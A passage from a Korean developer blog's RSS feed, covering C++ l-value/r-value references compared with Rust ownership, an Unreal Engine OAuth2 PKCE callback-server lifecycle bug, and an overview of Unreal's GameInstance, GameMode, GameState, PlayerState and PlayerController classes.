&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;amp; a = integer;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;amp; b = 32;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;amp;&amp;amp; c = integer;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;amp;&amp;amp; d = integer++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;amp;&amp;amp; e = ++integer;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전위 연산자는 변수를 참조하여 increment한 다음, l-value를 반환한다.&lt;br /&gt;후위 연산자는 연산을 모두 진행한 다음, 반환이 끝난 이후에 해당 스코프에서만 일시적으로 값을 증가시키므로 r-value이다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;int i = 5;

++i = 10;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 가능
i++ = 10;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 컴파일 에러!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;러스트와 비교해보면?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하자면, 원조 헨따이 언어인 C++에도 (러스트처럼 명시적이진 않지만) 소유권 비슷한 개념이 존재한다.&amp;nbsp;&lt;br /&gt;물론 C++의 단점과 한계를 커버하기 위해 나온 Rust에서 그 개념이 훨씬 직관적이고 명확하지만, C++에서 l-value/r-value에 대해 얉게나마 학습하고 나면 Rust의 소유권 개념에 대해서도 크게 거부감이 들지 않을 것이라 생각한다.&lt;br /&gt;C++에서는 로컬 변수의 경우 scope를 벗어날 떄 자동으로 소멸하고, 동적 할당의 경우에는 scope를 벗어난 이후에도 메모리 공간을 차지하고 있기 때문에 프로그래머가 개입하여 delete 명령을 수행해야한다. (스마트 포인터 개념을 활용하거나)&lt;br /&gt;Rust에서는 scope를 벗어날 때에도 자동으로 소유권이 소멸되지만, 소유권 시스템과 소멸자(drop trait)를 통해 자동으로 관리해준다는 점에서 차이가 있다.&lt;br /&gt;특히, Rust에서는 소유권 개념과 관련하여 소유권의 이전이나 대여 개념이 존재하는데, C++에서도 Rust의 소유권 이전 개념을 move()를 통해 구현하고 있다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;사실은..&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자격증 준비해야돼서 다음주에 작성.. ㅎㅎ.. ㅋㅋ.. ㅈㅅ;;&lt;br /&gt;혹시라도 그 사이에 누군가가 이 글을 보시게 된다면 아래 내용을 참고해주시길 바란다.&lt;br /&gt;Reference: &lt;a href=&quot;https://modoocode.com/294&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span&gt;https://modoocode.com/294&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;다음장) 응용 - Copy On Write&lt;/p&gt;</description>
      <category>Studies/C++</category>
      <category>C++</category>
      <category>Cow</category>
      <category>Unreal</category>
      <category>메모리</category>
      <category>컴파일러</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/66</guid>
      <comments>https://reteu.tistory.com/66#entry66comment</comments>
      <pubDate>Wed, 16 Oct 2024 11:48:03 +0900</pubDate>
    </item>
    <item>
      <title>OAuth2.0 PKCE 잘 구현하려다가 생애주기에 얻어맞은 썰</title>
      <link>https://reteu.tistory.com/65</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; C++, Python, Spring 모두 비동기 프로그래밍을 지원하지만 내 경험상 아직까지 비동기 코드를 제대로 작성해본 경험이 거의 없다시피 하다. 필요할 때마다 자료도 찾아보고 GPT 도움도 받아가면서 어지저찌 만들긴 했지만, 언 어떤 흐름으로 실행되고, 어떤 타이밍에서 꼬일 수 있는지 까지는 아직 확실하게 안다고 말하지 못하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지로 GC 개념에 대해서도, 알고는 있지만 자신있게 다룰 수 있는가를 물어본다면 선뜻 대답하기는 어렵다. 객체의 생명주기나 소멸되는 시점, 참조 유지와 같은 개념을 설명해보라고 하면 살짝 머뭇거리게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데.. 언리얼엔진에서는 이 두 가지가 모두 밥 먹듯이 등장한다. 게임업계로 가고싶은게 아닌 내 입장에서는 분명히 이런 작업을 해봐야&amp;nbsp; 포트폴리오로 써먹기 힘든걸 알면서도... 취미로 꼭 해보고싶어서 시작한 언리얼엔진 덕분에 본의아니게 async, broadcast, RPC, 싱글톤 패턴을 본격적으로 폐관수련 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼, 언리얼엔진용 SDK 개발 도중에 싱글톤 패턴의 콜백 서버 인스턴스를 관리하는 코드를 작성하다가 생애주기 관련 문제가 발생해서 디버깅에 많은 시간을 쏟았는데, 알고보니 정말 별 것 아닌 문제였다. 다시는 같은 실수로 시간 낭비하는 일이 없길 바라며 박제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;구현하려던 기능&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성중이던 코드는 다음의 역할을 수행해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. SSO 로그인 기능을 지원하기 위하여 PKCE 기반의 OAuth 2.0 인증용 Callback Server 인스턴스를 생성하고 HTTP 리스너를 바인딩한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. `StartLogin()` 메서드는 PKCE 인증을 위한 챌린지와 csrfState 문자열을 생성하고 콜백서버를 띄운 뒤, 서버로 챌린지를 전달해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 사용자가 브라우저에서 로그인하고, 서버에서 redirect URL로 콜백이 돌아오면 콜백 서버가 캐치하여 verifier와 함께 토큰 발급을 요청한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 인증 성공!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, SDK를 만드는 입장에서, 한 번 성공할 수 있는 코드보다는, 여러 번 우다다다 눌러도 안 터지고, 중간에 실패해도 복구 가능하고, 디버깅도 쉬운 그런 코드로 구현할 의무감을 가지고 있었다. 그렇게 변태적으로 QA, 디버깅 해야겠다고 마음먹고 첫 구현이 끝나고 '로그인하기' 버튼을 광클해봤더니 바로 문제가 드러났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어떻게 해야 콜백 서버 객체의 생애주기를 알잘딱으로 관리할 수 있을까&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1트:&amp;nbsp; 콜백 서버를 어떻게 관리할 것인가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인을 시작할 때마다 새로 콜백 서버를 시작할지, 기존에 올려둔 객체를 재활용할지부터 고민해야했다.&lt;br /&gt;일단 머릿속에서 생각나는대로 굴러가게만 구현해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1727067424506&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void UMyCallbackServer::StartLogin() {
    // 콜백 서버 시작
    if (CallbackServer == nullptr)
    {
        CallbackServer = NewObject&amp;lt;UMyCallbackServer&amp;gt;(this);
        CallbackServer-&amp;gt;AddToRoot();
    }
    else
    {
        CallbackServer-&amp;gt;StopServer();
        CallbackServer = nullptr;
        StartLogin();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 객체가 존재하지 않는다면 새로 생성해서 루트에 추가해주고(Root Set에 자식 컴포넌트로 추가해주면, GC collect를 방지할 수 있다.), 이미 존재한다면, 기존 인스턴스를 버리고 재귀호출을 통해 새로운 콜백서버를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얼핏 보면 나쁘지 않지만, 디버깅하다보니 많이 별로였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 인스턴스를 정리하는 로직과 새로운 인스턴스를 만드는 로직이 재귀 호출 안에 섞여 들어가 있기 때문에, 상태 전이가 명확하게 드러나지 않는다. 함수가 끝나고 다음 함수로 넘어가는 것이 아니라, 실행 중간에 재귀적으로 호출해서 하나의 줄기 속에서 흐름을 이어버리니 디버깅 할&amp;nbsp; 스택이 지저분해지고, 특정 객체가 살아있는지 죽는 중인지도 한 번에 파악하기가 어려웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히나, 언리얼엔진에서 UObject의 생명주기 문제는 더 복잡하다.&lt;br /&gt;단순히 포인터를 nullptr로 바꾼다고 해도, Root 상태, 내부 리스너, 비동기 작업 등 여러 요소가 복합적으로 작용하기 때문에 실제로 GC가 이걸 인식하고 기존 인스턴스를 폐기하기까지는 얼마나 시간이 걸릴 지 알 수 없다. 실제 구현에서 이렇게 진행하면 언제 폐기될지 모르는 GC를 기약없이 기다려야 한다. 한국인은 못 참아.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2트:&amp;nbsp; 그렇다면, 기존 객체를 재활용해보자&lt;/h3&gt;
&lt;pre id=&quot;code_1727067704500&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void UMyCallbackServer::StartLogin() {
    // 콜백 서버 시작
    if (CallbackServer == nullptr)
    {
        CallbackServer = NewObject&amp;lt;UMyCallbackServer&amp;gt;(this);
        CallbackServer-&amp;gt;AddToRoot();
    }
	else
	{
		if (!CallbackServer-&amp;gt;RestartServer(CallbackServerPort, this))
		{
			return;
		}
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콜백 서버 인스턴스가 없다면 이전과 마찬가지로 새로 생성하고, 이미 생성된 인스턴스가 존재한다면, `RestartServer()` 메서드를 호출해, 기존 객체를 재활용하는 접근이다. &lt;br /&gt;RestartServer() 메서드는 내부적으로 기존 인스턴스의 state를 null로 초기화하고, listener, route 바인딩을 해제한 다음 새로운 객체를 준비해 반환한다. 만약, 이 과정에서 콜백 서버 자체가 정상적으로 반환되지 않는다면, 리턴값이 없으므로 로그인 프로세스가 중지된다. 객체를 보다 적극적으로 관리한다는 점에서 이전의 코드보다는 발전했다. 하지만 여전히 맹점이 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;① 객체는 있는데, 서버가 안 떠있는 경우  &lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콜백 서버 객체 자체는 정상적으로 만들어졌으나, 포트 충돌 등의 사유로 `startServer()`나 `bindListener()`등이 호출되지 못한 경우, 결과적으로 콜백 서버 객체는 존재하지만, 서버는 안 떠 있는 요상한 상황이 발생할 수 있다. 코드 레벨에서 모든 상태를 제대로 구분하지 못한다면, 반쯤 죽어있는 좀비 상태의 콜백서버를 반환하게 될 수 있다.  &lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;② 기존 객체가 반환된 이후, 정리되기 시작하는 경우  ️&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 1번보다 더 띠용한 상태이다. 분명히 기존에 존재하던 콜백 서버 객체를 발견했고, 이걸 정리해서 부모 함수에게 리턴했는데, 알고보니 해당 객체가 이미 정리되고 있는 경우이다.&amp;nbsp;&lt;br /&gt;결국, 객체를 잘 정리해서 재활용하겠다는 계획은 그 실효성이 꽤나 떨어지는, 복잡한 접근 방식이었음을 알 수 있다. 그래서 나는 재활용을 그만두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3트:&amp;nbsp; 폐기 후 새로운 객체 생성하기&lt;/h3&gt;
&lt;pre id=&quot;code_1727068925865&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void UMyCallbackServer::StartLogin() {
    // 기존 콜백 서버가 있으면 종료하고 삭제
	if (CallbackServer != nullptr)
	{
		CallbackServer-&amp;gt;StopServer();
		CallbackServer-&amp;gt;ConditionalBeginDestroy();
		CallbackServer = nullptr;
	}
	// 새로운 콜백 서버 생성
	CallbackServer = NewObject&amp;lt;UWakgamesCallbackServer&amp;gt;(this);
	CallbackServer-&amp;gt;AddToRoot();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로는 객체를 재시작하는 것보다, 폐기 후 재생성하는 방식이 더 안정적으로 동작했다.&lt;br /&gt;1. 기존 인스턴스가 존재하면 정지한다. (내부적으로 `removeFromRoot()` 호출)&lt;br /&gt;2. 정지한 인스턴스는 즉시 GC가 지체없이 파괴하도록 호출한다.&lt;br /&gt;3. 포인터도 끊어준다.&lt;br /&gt;4. 새로운 객체를 만든다. ✨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 코드의 흐름과 상태의 전이가 한눈에 명확하게 보인다. 사실 가장 간단해보이는 구성이지만, 가장 강력한 효과를 가져왔다.무엇보다 '이전의 시도의 잔재'를 최대한 남기지 않고, '로그인하기'버튼을 누를 때마다 새로운 환경에서 시작하도록 보장하겠다는 의도가 그대로 반영됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어줍잖게 자원 절약해보겠다는 생각으로 재활용하는 아이디어를 적용해보려다가 상당한 삽질을 경험해보게 되었다.&lt;br /&gt;그리고 사실 OAuth2.0 인증용 콜백서버를 우다다다 생성하는 사람은 정상적인 유저가 아니므로 크게 고려해야하는 부분도 아니긴 했지만서도... 런타임에서 객체를 어떻게 관리해야할지의 전략을 처음 고민해보게 되는 계기였다.&lt;/p&gt;</description>
      <category>Studies/Unreal Engine</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/65</guid>
      <comments>https://reteu.tistory.com/65#entry65comment</comments>
      <pubDate>Tue, 8 Oct 2024 15:09:08 +0900</pubDate>
    </item>
    <item>
      <title>Unreal Engine 프로젝트를 시작하기 전에..</title>
      <link>https://reteu.tistory.com/64</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;23년 12월 즈음부터 갑자기 바람이 불어 언리얼엔진 프로젝트를 진행해보고 있다. 얼마 전 첫 결과물을 세상에 공개하기도 했는데, 어제부터 오늘까지 양일간 열리고 있는 Unreal Fest '24 Seoul에 참석해 강연을 듣다가 뒤통수를 제대로 맞은듯한 느낌이 드는 일이 있었다. 내가 미처 고려하지 못했던 부분들이나, '아.. 분명 이걸 깔끔하게 해결할 수 있는 훨씬 효율적인 방법이 있을텐데.. 어떻게 해야할지를 전혀 모르겠네'라는 생각이 들었던 부분들을 정말 깔끔하게 해결한 사례를 알려주는 것이 아닌가. 프로젝트 리빌딩을 반드시 해봐야겠다는 의욕이 샘솟는 한편, 이왕 리빌딩하는 김에 그동안 쌓은 노하우를 바탕으로 언리얼 엔진의 특성에 맞게 체계적으로 구조를 다시 설계해보자는 생각이 들어, 차근차근 정리해보고자 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. GameInstance&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게임 인스턴스는 게임이 시작되는 시점부터 terminated되기 까지의 모든 순간에 존재하는 단일 인스턴스로서, 모든 레벨/게임모드에서 공유되는 클래스이다. (정확한 비유가 아닐 수도 있지만) &lt;b&gt;싱글톤&lt;/b&gt; 형태로 존재하는 클래스로 생각하면 될듯하며, 다음과 같은 특성을 가진다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;게임의 생애주기 내내 모든 경우에 전역적으로 접근 가능하다.&lt;br /&gt;GameInstance에 담긴 내용은 레벨이 전환되더라도 그대로 유지된다.&lt;br /&gt;따라서 게임 설정, 통계 데이터 등을 보관하고 관리하는 데에 사용하기 적합하다.&lt;br /&gt;SaveGame 클래스와 적절히 활용하면, 로컬 환경에서 세이브/로드해야하는 설정이나 통계 데이터를 보관하도록 만들 수 있겠다.&lt;/li&gt;
&lt;li&gt;네트워크를 통해 다른 클라이언트로 Replicate되지 않는다.&lt;b&gt; ( == 클라이언트에서 바로 호출할 수 있다.)&lt;/b&gt;&lt;br /&gt;쉽게 말해, 각 클라이언트 별로 자신만의 GameInstance 객체를 가지고 있으며, 다른 클라이언트로는 그 내용을 공유하지 않는다는 의미이다. 클라이언트와 서버 간에도 공유하지 않고, 서버 역시 서버 만의 독립적인 객체를 갖는다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UMG로 만든 UI 인스턴스를 GameInstance에서 포인터 변수로 참조하고 있다면, 레벨이 변경되더라도 특정 UI에 대해 언제든지 접근할 수 있게되므로 유용하게 사용할 수 있다. 또한 게임이 실행되는 동안 클라이언트 레벨에서 계속 접근해야하는 값들을 저장해두기에도 용이하다. 세이브데이터에서 로드한 설정값을 GameInstance에 저장하고 업데이트하다가 사용자의 요청이 있거나 게임을 종료하는 시점에 세이브데이터로 덮어쓰도록 만든다면 게임을 실행할 때마다 매번 다시 설정을 조정해야하는 일도 없어지고 개인화된 설정값을 그대로 로드하여 언제든지 접근할 수 있도록 만들 수 있어 용이하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. GameMode&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마인크래프트때문에 그 이름만은 매우 친숙한 GameMode.. (물론 하는 일은 다르다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 레벨에 대해 어떠한 게임모드를 사용할 것인지 사전에 지정해줄 수 있으며, 눈치챘겠지만 특정 레벨에서 적용되는 게임의 규칙과 플로우(흐름)를 관리한다. 따라서 게임모드는 다음과 같은 특징을 가진다고 볼 수 있겠다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;레벨의 생애주기 동안 유지된다.&lt;br /&gt;특정 레벨에서 적용되는 규칙과 게임의 레벨 내 흐름 전반을 관리하면 좋다.&lt;br /&gt;레벨이 로드될 때 생성되고, 언로드될 때 파괴된다.&lt;/li&gt;
&lt;li&gt;GameMode는 &lt;b&gt;서버에서만&lt;/b&gt; 관리된다.&lt;br /&gt;블루프린트 기준으로 `Run On Server` RPC 노드를 통해서만 GameMode에 접근할 수 있으며, 클라이언트에는 GameMode 자체가 존재하지 않는다. (클래스의 존재 목적을 고려해본다면 납득하기 어렵지 않다.)&lt;br /&gt;이러한 특성을 활용해서, 모든 클라이언트에 대해 일괄적으로 적용해야하는 로직을 수행하기에 좋다. (서버사이드에서 실행되고, 모든 PlayerController에 접근할 수 있으므로)&lt;br /&gt;물론 스탠드얼론 게임이라면 직접 접근할 수 있다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. GameState&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;언리얼에는 GameState와 PlayerState라는 개념(클래스)이 존재한다. 두 이름만 봐도 대강 뭐하는 애들인지 감이 올거다. 생각하고 있는 그것들이 다 맞다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;서버와 모든 클라이언트에 대해 공통적으로 적용되는 상태를 관리한다.&lt;br /&gt;게임의 스코어나 타이머와 같이 게임을 플레이중인 모두가 동일한 값을 봐야하는 경우에 사용한다. 모든 값은 당연히 언리얼이 알아서 동기화해준다. 따라서 게임 전연적으로 관리하려는 게임의 진행 상태를 저장하기에 적합하다. 내 경우에는 접속한 플레이어의 PlayerController에 대한 참조를 보관하고 Index를 발급해 클라이언트에게 전달해주는 목적으로 사용했다.&lt;/li&gt;
&lt;li&gt;개별 클라이언트에서 로컬로 관리해야하는 데이터는 후술할 PlayerState에서 사용하는 것이 좋다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. PlayerState&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다. 얘도 이름 그대로 생겨먹었다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;개별 클라이언트에서 관리하며, 자동으로 서버와 동기화(Replicate)된다.&lt;br /&gt;때문에, 로컬 환경에서 기억하고 관리해야하는 상태를 보관하기에 좋다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면 GameInstance가 있는데 왜 PlayerState가 존재하고 사용해야하는지에 대해 의문이 생길 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GameInstance는 게임당 하나의 객체만 생성되지만, PlayerState는 플레이어의 개수만큼 생성된디는 점을 인지하자. '현재 몇 라운드인지', '남은 시간은 몇 초인지'와 같이 게임 자체에서 공통적으로 적용될 값은 GameInstance에서, '몇 번 플레이어인지', '이 플레이어가 소속된 팀은 어디인지/킬 수가 몇인지/소지하고 있는 56탄은 몇 개인지'와 같이 특정 Player에 대한 값은 PlayerState에서 보관하도록 만드는 것이 훨씬 효율적이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. PlayerController&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름이 다 비슷비슷하게 생겨서 처음 접할 때에는 많이 헷갈릴 수 있다. PlayerController (PC)는 클라이언트마다 하나씩 존재하며, 서버와도 동기화된다. (다만, 서버와 클라이언트에서 바라보는 객체는 다를 수 있다. 자세한 설명은 아래에서..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC에 대해 이해하려면 우선 언리얼 엔진에서 객체를 다루는 기본적인 방식에 대해 알아야할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Unreal Engine에 존재하는 &lt;b&gt;(거의)&lt;/b&gt; 모든 클래스는 UObject를 부모 클래스로 가진다. Unity를 다뤄본 경험이 있다면 'monobehaviour'에 정확히 대응하는 개념이다. &lt;a href=&quot;https://docs.unity3d.com/kr/2020.3/Manual/class-MonoBehaviour.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#&lt;/a&gt; (UObject를 상속받지 않고 None으로 만들고 내부적으로 사용할 수도 있긴 하다. 에디터에서 인식을 못하게되어서 그렇지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레벨에 배치할 수 있는 객체의 기본 단위는 Actor라고 부르며, 액터 중에서도 특별한 기능이 추가된 오브젝트들이 존재하는데, 대표적으로 아래와 같은 클래스를 가장 많이 사용한다. (전부 다 액터를 상속받아 구현된 클래스라는 말이다.)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Actor: 액터는 레벨에 배치될 수 있는 오브젝트의 기본 단위이다.&lt;/li&gt;
&lt;li&gt;Pawn: 폰은 액터 중에서도 플레이어(PC) 또는 AI가 빙의할 수 있는 기능이 포함된 오브젝트이다. 여기에서부터 InputAction 등을 통해 사용자의 입력값을 핸들링할 수 있다.&lt;/li&gt;
&lt;li&gt;Character: 캐릭터는 폰 중에서도 플레이어 또는 AI가 직접 조작하고 움직일 수 있는 기능이 포함된 오브젝트이다. &lt;br /&gt;(사실 Pawn에서도 움직이게 만들 수 있고 정의만 놓고 보면 간단하여 별 차이가 없어보이지만, 생각보다 훨씬 다양하고 복잡한 로직들이 여럿 추가되어 있다. &lt;a href=&quot;https://dev.epicgames.com/documentation/ko-kr/unreal-engine/understanding-networked-movement-in-the-character-movement-component-for-unreal-engine&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#예를_들면_이런거&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 다양한 클래스에 대해 찍먹만 해보고 싶다면 언리얼 에디터에서&amp;nbsp; 'Tools &amp;gt; New C++ Class' 메뉴를 통해 아래와 같이 각 클래스에 대한 한줄 소개를 확인할 수 있으니 참고하자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;725&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WEBEu/btsJl44Hoii/iFGa96CXtFLFUy8zQRoDN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WEBEu/btsJl44Hoii/iFGa96CXtFLFUy8zQRoDN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WEBEu/btsJl44Hoii/iFGa96CXtFLFUy8zQRoDN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWEBEu%2FbtsJl44Hoii%2FiFGa96CXtFLFUy8zQRoDN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1183&quot; height=&quot;725&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;725&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 서버와 클라이언트에서 참조하는 PC가 상이할 수 있다고 말했는데, 이는 치팅과 연관되어 있다. 플레이어가 조작하는 대상에 대한 대부분의 로직을 PC에서 수행한다는 특성으로 인해 클라이언트에서 PC의 동작으로 조작한다면 너무나도 손쉽게 치팅할 수 있게된다. 이러한 보안 상의 이유로, 언리얼엔진에서는 하나의 플레이어에 대하여 클라이언트 사이드에서 관리하는 PC와 서버 사이드에서 관리하는 PC가 분리되어 존재한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트 : Client-Side PC만을 참조할 수 있다. (때문에 PC를 조작하더라도 다른 클라이언트로 replicate되지 않음.)&lt;/li&gt;
&lt;li&gt;서버 : Server-Side PC와 Cliet-Side PC 모두를 참조하고 수정할 수 있다. 만약 서버를 통해 replicate되어야 하는 로직이 존재한다면 RPC를 통해 서버쪽의 PC를 조작하도록 호출해야한다. (RPC를 이용해 서버로 넘긴 다음, 서버 사이드에서 다시 RPC를 호출해서 브로드캐스트(언리얼에서는 multicast)해야한다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서론이 길었다. 그래서 PlayerController에서는 어떠한 로직을 다루는 것이 현명할까? 플레이어의 입력을 받아 처리하고 서버와의 통신을 관리하는 비즈니스 로직을 담고 있기에 적절하다. 서버와 클라이언트 모두에 존재하기 때문에 둘 간의 네트워크 트래픽을 처리하는 부분에 사용하기 좋다. 다만 위에어 언급한 것처럼, 서버 사이드에서 수행하는 로직은 클라이언트로 replicate되지만, 클라이언트에서만 처리한 로직은 서버를 통해 replicate되지 않으므로 자기 자신에서만 작동하는 것처럼 착각할 수 있으니 집중해서 작성하는 것이 좋겠다. 한 번 꼬이면 찾아내기 쉽지 않을테니...&lt;/p&gt;</description>
      <category>Studies/Unreal Engine</category>
      <category>UE</category>
      <category>언리얼</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/64</guid>
      <comments>https://reteu.tistory.com/64#entry64comment</comments>
